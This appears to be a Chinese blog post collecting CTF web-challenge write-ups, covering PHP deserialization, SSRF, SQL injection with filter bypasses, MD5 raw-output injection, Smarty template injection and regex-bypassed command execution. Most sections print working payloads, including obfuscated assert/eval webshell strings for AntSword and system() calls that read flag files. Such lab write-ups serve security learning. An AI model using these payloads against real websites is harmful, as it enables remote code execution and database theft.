抓包,设置一些数据:
在这里插入图片描述
并没有。。
去根目录下找flag:
在这里插入图片描述
发现flag,读取:
禁用cat之后,cmd=/bin/c\at%20/flag
在这里插入图片描述

[网鼎杯 2020 朱雀组]phpweb

法一:
1.主页面抓包,发现可以传参。
在这里插入图片描述

执行file_get_contents。可以看到index.php的源代码。里面有一个十分严格的过滤,几乎过滤了所有危险函数。下面是一个类,里面有析构函数func,可以考虑到使用反序列化构造命令执行。
在这里插入图片描述

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

2.反序列化,构造exp

<?php
class Test {
    var $p = "ls";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a=new Test();
echo serialize($a);

在这里插入图片描述
但是找不到flag在哪。构造exp。

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find%20/%20-name%20flag*";s:4:"func";s:6:"system";}

在这里插入图片描述
3.直接readfile。

在这里插入图片描述
或者直接:

O:4:"Test":2:{s:1:"p";s:25:"cat%20$(find%20/%20-name%20flag*)";s:4:"func";s:6:"system";}

在这里插入图片描述
法二:
命名空间绕过黑名单:

func=\exec&p=ls

在这里插入图片描述
读取flag:
func

[De1CTF 2019]SSRF Me

在这里插入图片描述

#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
    def __init__(self, action, param, sign, ip):  # python得构造方法
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if (not os.path.exists(self.sandbox)):  # SandBox For Remote_Addr
            os.mkdir(self.sandbox)
    def Exec(self):  # 定义的命令执行函数,此处调用了scan这个自定义的函数
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            # md5(secert_key + self.action + self.param).hexdigest() == self.sign
            # md5(secert_key + self.action + self.param).hexdigest() == hashlib.md5(secert_key + param + "scan").hexdigest()
            if "scan" in self.action:  # action要写scan
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)  # 此处是文件读取得注入点
                # resp = urllib.urlopen(param).read()
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp  # 输出结果
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:  # action要加read
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):  # !!!校验
            return True
        # md5(secert_key + param + action).hexdigest()
        else:
            return False
# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])  # !!!这个路由用于测试
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
# hashlib.md5(secert_key + param + action).hexdigest()
# hashlib.md5(secert_key + param + "scan").hexdigest()
@app.route('/De1ta', methods=['GET', 'POST'])  # 这个路由是我萌得最终注入点
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if (waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')  # 根目录路由,就是显示源代码得地方
def index():
    return open("code.txt", "r").read()
def scan(param):  # 这是用来扫目录得函数
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"
def getSign(action, param):  # !!!这个应该是本题关键点,此处注意顺序先是param后是action
    return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
    return hashlib.md5(content).hexdigest()
def waf(param):  # 这个waf比较没用好像
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

一个flask代码。提示flag在flag.txt
有两个地方可以传参:路由/geneSign和/De1ta
在这里插入图片描述
先看第二个因为里面构造了上面的类Task
在这里插入图片描述
param传参要绕过waf(),waf()检测参数param开头不能有"gopher"和"file"
然后return json.dumps(task.Exec())
task里面的Exec()方法最后return result,我们要想办法把flag和result关联,然后就相当于return flag。
要想这样就要通过Exec()方法的种种 if 判断
第一个 if (self.checkSign())

[安洵杯 2019]easy_serialize_php

在这里插入图片描述
首先代码审计:
1.filter函数就是正则匹配 /php|flag|php5|php4|fl1g/i 替换为空
2.给session初始化,把session序列化了然后调用filter函数
(补充:extract函数:将变量从数组中导入当前的符号表,这里就是把post数组里的取出来变成php变量,就比如我们post传a=123,那它经过这个函数就变成了 a = 123 。 而 且 它 默 认 在 变 量 名 冲 突 的 时 候 进 行 覆 盖 , 这 就 导 致 了 变 量 覆 盖 漏 洞 。 ) 3. 最 后 面 有 个 提 示 , 我 们 先 给 f 传 参 为 p h p i n f o : ( 因 为 ‘ a=123。而且它默认在变量名冲突的时候进行覆盖,这就导致了变量覆盖漏洞。) 3.最后面有个提示,我们先给f传参为phpinfo:(因为` a=1233.fphpinfofunction`没有经过过滤函数,所以phpinfo直接传)

直接搜一些敏感点,fopen、disable_、root等等。第二行看到了独特的文件名。(还好和这些敏感点离得近)
在这里插入图片描述
直接访问文件名,访问不出来,看到之前的源代码最后有file_get_contents函数,肯定就是要我们读取这个文件了。
在这里插入图片描述
读取是有前提的,$function我们可以通过 $f 直接赋值。
现在我们就要base64_decode($userinfo[‘img’])=d0g3_f1ag.php
那么就要$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==
$userinfo又是通过$serialize_info反序列化来的。
$serialize_info又是通过session序列化之后再过滤得来的。

session里面的img在这里赋值,我们指定的话会被sha1哈希,到时候就不能被base64解密了。这里就到了一个难点了。
在这里插入图片描述
我们看到上面的过滤函数,会把一些长度的字符替换为0

直接看payload分析:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

因为有变量覆盖漏洞,所以它可以直接这样被赋值进去。然后session被序列化之后会变成这样:(方头括号我自己加的,方便看的清楚,括号里是我们传的变量值)

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:68:"【a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

然后这串字符串经过过滤函数之后,会变成:

a:3:{s:4:"user";s:24:"";s:8:"function";s:68:"【a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

可以看到,24后面的6个flag被替换为空了,但是指定的长度还是24,怎么办呢?它会往后吞,不管什么符号,都吞掉24个字符。吞完之后变成了这样。

a:3:{s:4:"user";s:24:"【";s:8:"function";s:68:"a】";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

看,括号里的字符串就变成了user的值,这时候我们自己输入的function参数和img参数,就把真的参数替代掉了。
注意格式,我看别人的WP没有function参数也是可以的,但是必须要凑够3个参数,因为一开始序列化的时候指定了有3个参数 。
get传 f=show_image,
post传:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

在这里插入图片描述

SWPUCTF2019 web1

进来首先是个登录页面,注册登录,进入广告界面,不按套路出牌,考的是sql注入的新姿势,利用了无列名注入。

随便试了几个payload,发现order,and,or都被过滤了。由于order被过滤了,没法用order by子句判断目标表的列数了。这里我就逐渐增加字段数,这样慢慢的发现竟然有22个字段,并且第2,3列是显示列

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1

在这里插入图片描述

-1'/**/union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1

在这里插入图片描述

-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web1'/**/,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1

但是information被过滤了,实际上是or被过滤了,导致order,or,information这些字都被过滤了。那怎么查到表名?在网上搜索才知道mysql在5.7版本之后还有一个sys系统表sys.schema_auto_increment_columns,作用和information_schema是相似的。

-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns /**/where/**/table_schema=database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='

但是试了一下报错,页面说sys.schema_auto_increment_columns这个表不存在。但是根据刚才试列数是页面报的错才知道mysql.innodb_table_stats这个表也可以用,也类似于information_schema

-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='

在这里插入图片描述

-1'/**/union/**/select/**/1,2,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1

在这里插入图片描述

[极客大挑战 2019]PHP

常见的网站源码备份文件扫描脚本

import requests

url1 = 'http://xxx.com'		# url为被扫描地址,后不加‘/’

# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']

for i in list1:
    for j in list2:
        back = str(i) + '.' + str(j)
        url = str(url1) + '/' + back
        print(back + '    ', end='')
        print(requests.get(url).status_code)

在这里插入图片描述
在这里插入图片描述
输入就下载到一个压缩包
在这里插入图片描述
flag.php里面是一个假flag
打开index.php:
在这里插入图片描述
打开class.php得到:

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

根据index.php可以知道要使password=100和username=‘admin’,进行序列化:

<?
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
echo serialize($a);
?>

在这里插入图片描述

/index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[BJDCTF2020]Easy MD5

在这里插入图片描述
先抓包来看看,结果看到:

在这里插入图片描述
PHP中md5函数如果第二个参数设为true,返回的是二进制内容,如果能恰好凑出类似’or的字符串,就可以构成SQL注入。
有两个类似的字符串:

129581926211651571912466741651878684928
md5值为:
\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
ffifdyop
md5值为:
'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

第一个没用,第二个就进入:
在这里插入图片描述

在这里插入图片描述
这里使用的两个等号,也可以借助弱类型来绕过一下。即找两个加密后是0e开头的字符串即可。
在这里插入图片描述
三个等号所以不能用oe开头的了
在这里插入图片描述

[BJDCTF2020]The mystery of ip

ip?难道XXF?
在这里插入图片描述
在这里插入图片描述

[BJDCTF2020]Mark loves cat

dirsearch扫描一下,发现/.git目录,用githack获取一下源码。

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
} //forsearch:
post传参和get传参的参数键名和值
首先我们post:$flag=flag

foreach($_GET as $x => $y){
    $$x = $$y;
}//接下来GET:?yds=flag

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){	//GET方式传flag只能传一个flag=flag
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){	//GET和POST其中之一必须传flag
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){	//GET和POST传flag,必须不能是flag=flag
    exit($is);
}

echo "the flag is: ".$flag;

$x为yds,$y为flag,所以$$x表示$yds$$y也就是$flag$flag就是真正的flag{XXXXXX}$$x = $$y,也就是$yds=flag{XXXXXX}。
看源码

只要没有flag参数,就会exit($yds),就可以得到flag了。

GET:yds=flag
POST:$flag=flag
在这里插入图片描述
查看源码得到FLAG

[ASIS 2019]Unicorn shop

打开题目是一个购买界面,发现三个是个位数价钱,一个是1377,猜测只要购买了第四只独角兽,就能获取flag
我随便购买一个发现:
在这里插入图片描述
查看源码发现:
在这里插入图片描述
这里指明了重点,所以要考虑utf-8编码的转换安全问题

我们在这个网站搜索大于 thousand 的单个字符https://www.compart.com/en/unicode/

可以看到它代表的数值是10000
它的utf-8编码是0xE1 0x8D 0xBC
我们将0x换成%,得到%E1%8D%BC
在这里插入图片描述

[NPUCTF2020]ReadlezPHP

查看源码发现./time.php?source
访问得源码:

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

由b(a)可以构造b=assert,a=phpinfo ->assert(phpinfo())

echo serialize($c); #$c来自源码
#O:8:"HelloPhp":2:{s:1:"a";s:11:"Y-m-d h:i:s";s:1:"b";s:4:"date";}
payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

在phpinfo页面中ctrl+f搜索flag即可得到flag

[MRCTF2020]PYWebsite

在这里插入图片描述
查看源码发现./flag.php进行访问。
在这里插入图片描述
构造xff:127.0.0.1
在这里插入图片描述

[NCTF2019]Fake XML cookbook

在这里插入图片描述
wp

[BSidesCF 2019]Futurella

查看源码得到flag

[极客大挑战 2019]RCE ME

在这里插入图片描述
源码分析: GET获取变量code
传递内容长度不大于40
内容不包含字母和数字

查找php的信息
在这里插入图片描述

payload: ?code=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述
disable_functions禁用的系统函数有点多

构造一个shell连上蚁剑

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;

echo "<br>";
$c='(eval($_POST[wtf]))';
$d=urlencode(~$c);
echo $d;
 ?>

在这里插入图片描述

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

连接蚁剑,再用插件

法二:

${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

连接蚁剑
在这里插入图片描述
flag里没有flag
应该是要用readflag了
在这里插入图片描述
在这里插入图片描述

[CISCN2019 华东南赛区]Web11

在这里插入图片描述
关键:1.Build With Smarty! 2.IP 3.X-Forwarded-For
抓包添加:X-Forwarded-For:127.0.0.1
在这里插入图片描述
X-Forwarded-For:{7+7}
在这里插入图片描述
说明确实是smarty,上smarty常用payload

{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if} 
 

在这里插入图片描述

[FBCTF2019]RCEService

在这里插入图片描述
提交json格式

?cmd={"cmd":"ls"}

在这里插入图片描述
但没什么用
网上找到的源码:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

法一:因为preg_match只会去匹配第一行,所以这里可以用多行进行绕过
源码中可以看到putenv(‘PATH=/home/rceservice/jail’)已经修改了环境变量,我们只能用绝对路径来调用系统命令
cat命令在/bin中保存
所以构造出payload ,%0A是换行符

?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

在这里插入图片描述

[b01lers2020]Welcome to Earth

进入不一会儿就会进入/die/
在这里插入图片描述
抓包看看:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

item = permutations(flag)
for i in item:
	k = ''.join(list(i))
	if k.startswith('pctf{hey_boys') and k[-1] == '}':
		print(k)


itertools

在这里插入图片描述

[WMCTF2020]Make PHP Great Again 2.0

在这里插入图片描述
这里用了require_once只能包含一次
我们这里用PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含

payload:?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

EasyBypass

绕过

Wallbreaker_Easy

蚁剑插件来解题

[WMCTF2020]Make PHP Great Again

记住姿势

[BSidesCF 2019]Pick Tac Toe

用hackbar来post

October 2019 Twice SQL Injection

真二次注入

[GKCTF 2021]easycms

好难

[RootersCTF2019]babyWeb

万能密码

[CSAWQual 2019]Web_Unagi

[BSidesCF 2019]SVGMagic

xml

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值